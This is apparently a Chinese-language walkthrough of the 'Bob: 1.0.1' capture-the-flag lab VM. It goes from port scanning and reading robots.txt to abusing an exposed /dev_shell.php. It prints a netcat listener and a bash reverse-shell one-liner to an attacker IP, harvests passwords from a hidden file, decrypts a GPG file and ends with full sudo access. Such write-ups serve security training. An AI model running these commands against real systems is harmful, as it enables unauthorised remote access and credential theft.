Bob:1.0.1靶机

vmware打开靶机，设置nat模式，查看MAC地址

端口扫描，主机发现

查看开放的全端口

发现25468是ssh端口

浏览器访问80端口

分别点击页面上的功能点

查看 News

根据描述，这是一个学校的内部网站，并且为了防止黑客，设置了只能在内部访问，禁止外部登录

点击 Contact Us页面

是一些员工的电话和email

当我们访问登录页面时 提示已禁止外部登录

f12查看源码

是来自Bob的留言，给出了一封信，教我们获取一个可以使用的 webshell

这个访问一下 /robots.txt 看看该网站有哪些配置文件

发现一些接口

访问 /passwords.html

Bob留言说已经将这个页面移走了

访问/lat_memo.html

还是Bob的信息，通知说服务器上有一个没有受保护的 web shell

访问 /dev_shell.php

是一个可以执行命令的页面

攻击机开启监听

nc -lvvp 8888

利用命令执行反弹shell

whoami & echo "bash -i >& /dev/tcp/192.168.153.133/8888 0>&1" | bash

查看home下的文件

在/home/bob下找到.old_passwordfile.html文件

查看内容

发现了 jc ，seb的密码

ssh连接

ssh jc@192.168.153.142 -p 25468

进入/home/bob/Documents目录，发现一个目录两个文件

查看staff.txt

大概是Bob对一些员工的看法

解密 login.txt.gpg 文件

需要密码

再次查看目录，寻找密码

最后发现 notes.sh 文件中每段话的首字母连起来就是密码 HARPOCRATES

解密后发现Bob用户的密码 b0bcat_

sshdl到Bob用户

sudo -l 查看可执行文件

所有命令都可执行